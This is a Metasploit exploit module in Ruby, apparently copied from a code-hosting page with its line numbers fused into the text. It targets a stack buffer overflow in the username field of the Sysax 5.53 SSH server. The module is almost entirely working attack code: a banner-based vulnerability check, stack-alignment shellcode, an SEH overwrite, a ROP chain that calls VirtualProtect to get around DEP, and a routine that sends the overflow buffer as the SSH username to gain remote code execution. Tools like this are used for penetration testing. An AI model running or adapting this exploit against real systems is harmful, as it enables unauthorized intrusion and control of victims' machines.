Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/ssh/sysax_ssh_username.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::SSH1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Sysax 5.53 SSH Username Buffer Overflow',16'Description' => %q{17This module exploits a vulnerability found in Sysax's SSH service. By18supplying a long username, the SSH server will copy that data on the stack19without proper bounds checking, therefore allowing remote code execution20under the context of the user. Please note that previous versions21(before 5.53) are also affected by this bug.22},23'License' => MSF_LICENSE,24'Author' => [25'Craig Freyman', # Initial discovery, PoC26'sinn3r' # Metasploit27],28'References' => [29['OSVDB', '79689'],30['URL', 'http://www.pwnag3.com/2012/02/sysax-multi-server-ssh-username-exploit.html'],31['EDB', '18535']32],33'Payload' => {34'Space' => 1024,35'BadChars' => "\x00\x3a",36'StackAdjustment' => -350037},38'DefaultOptions' => {39'EXITFUNC' => 'seh'40},41'Platform' => 'win',42'Targets' => [43[44'Sysax 5.53 on Win XP SP3 / Win2k3 SP0',45{46'Rop' => false,47'Ret' => 0x00402669 # POP/POP/RET - sysaxservd.exe48}49],50[51'Sysax 5.53 on Win2K3 SP1/SP2',52{53'Rop' => true,54'Ret' => 0x0046d23c # ADD ESP, 0F8C # RETN55}56]57],58'Privileged' => false,59'DisclosureDate' => '2012-02-27',60'DefaultTarget' => 061)62)6364register_options(65[ OptInt.new('RPORT', [false, 'The target port', 22]) ]66)67end6869def check70begin71connect72banner = sock.get_once(-1, 5) || ''73disconnect74vprint_status("Banner: #{banner}")75if banner.match?(/SSH-2\.0-SysaxSSH_1\.0/)76return Exploit::CheckCode::Appears77end78rescue StandardError79vprint_error('An error has occurred while trying to read a response from target')80return Exploit::CheckCode::Unknown81end8283Exploit::CheckCode::Safe84end8586def generate_regular_exploit87#88# Align the stack to the beginning of the fixed size payload89#90align = "\x54" # PUSH ESP91align << "\x58" # POP EAX92align << "\x04\x08" # ADD AL,0x0893align << "\x8b\x18" # MOV EBX, [EAX]94align << "\x93" # XCHG EAX,EBX95align << "\x66\x2d\x10\x04" # SUB AX,0x36196align << "\x50" # PUSH EAX97align << "\xc3" # RET9899#100# Our payload limited to 1024+4 bytes101#102p = make_nops(4)103p << payload.encoded104105#106# Craft the buffer like this:107# [392 bytes][20 bytes][< 9404 bytes][payload][alignment][nseh][seh]108# * The 20-byte region is where our source IP is written. 20 bytes gives it enough room109# for the IP length, so the next 9404-byte space will begin at a consistent place.110# * After SEH, we have ~1860 bytes, but we don't need that because we're doing a111# partial-overwrite to allow a null byte in SEH.112#113buf = ''114buf << rand_text(392, payload_badchars)115buf << rand_text(20, payload_badchars)116buf << rand_text(9204 - buf.length - align.length - p.length, payload_badchars) # 8796+392+20117buf << p118buf << align119buf << "\xeb" + [0 - align.length - 2].pack('c') + make_nops(2) # Short jmp back120buf << [target.ret].pack('V*')121buf122end123124def generate_rop_exploit125junk = rand_text(4).unpack('L')[0].to_i126nop = make_nops(4).unpack('L')[0].to_i127128# !mona rop -m msvcrt129p =130[1310x77bb2563, # POP EAX # RETN1320x77ba1114, # <- *&VirtualProtect()1330x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN134junk,1350x77bb0c86, # XCHG EAX,ESI # RETN1360x77bc9801, # POP EBP # RETN1370x77be2265, # ptr to 'push esp # ret'1380x77bb2563, # POP EAX # RETN1390x03C0990F,1400x77bdd441, # SUB EAX, 03c0940f1410x77bb48d3, # POP EBX, RET1420x77bf21e0, # .data1430x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN1440x77bbfc02, # POP ECX # RETN1450x77bef001, # W pointer (lpOldProtect) (-> ecx)1460x77bd8c04, # POP EDI # RETN1470x77bd8c05, # ROP NOP (-> edi)1480x77bb2563, # POP EAX # RETN1490x03c0984f,1500x77bdd441, # SUB EAX, 03c0940f1510x77bb8285, # XCHG EAX,EDX # RETN1520x77bb2563, # POP EAX # RETN153nop,1540x77be6591, # PUSHAD # ADD AL,0EF # RETN155].pack('V*')156157p << payload.encoded158159#160# Similar buffer structure to generate_regular_exploit161#162buf = ''163buf << rand_text(392, payload_badchars)164buf << rand_text(20, payload_badchars)165buf << rand_text(1012, payload_badchars)166buf << p167buf << rand_text(9204 - buf.length)168buf << rand_text(4, payload_badchars)169buf << [target.ret].pack('V*')170buf171end172173def exploit174#175# Create buffer based on target (DEP or no DEP)176# If possible, we still prefer to use the regular version because it's more stable177#178if target['Rop']179buf = generate_rop_exploit180else181buf = generate_regular_exploit182end183184#185# Send the malicious buffer186#187pass = rand_text_alpha(8)188begin189print_status("Sending malicious request to #{rhost}:#{rport}...")190factory = ssh_socket_factory191ssh = Net::SSH.start(192datastore['RHOST'],193buf,194password: pass,195port: datastore['RPORT'],196timeout: 1,197proxy: factory,198config: false,199non_interactive: true,200verify_host_key: :never201)202203::Timeout.timeout(1) { ssh.close }204rescue Errno::ECONNREFUSED205print_error("Cannot establish a connection on #{rhost}:#{rport}")206return207rescue StandardError => e208if e.message.match?(/fingerprint [0-9a-z:]+ does not match/)209print_error("Please remove #{rhost}:#{rport} from your known_hosts list")210return211end212end213214handler(ssh)215end216end217218219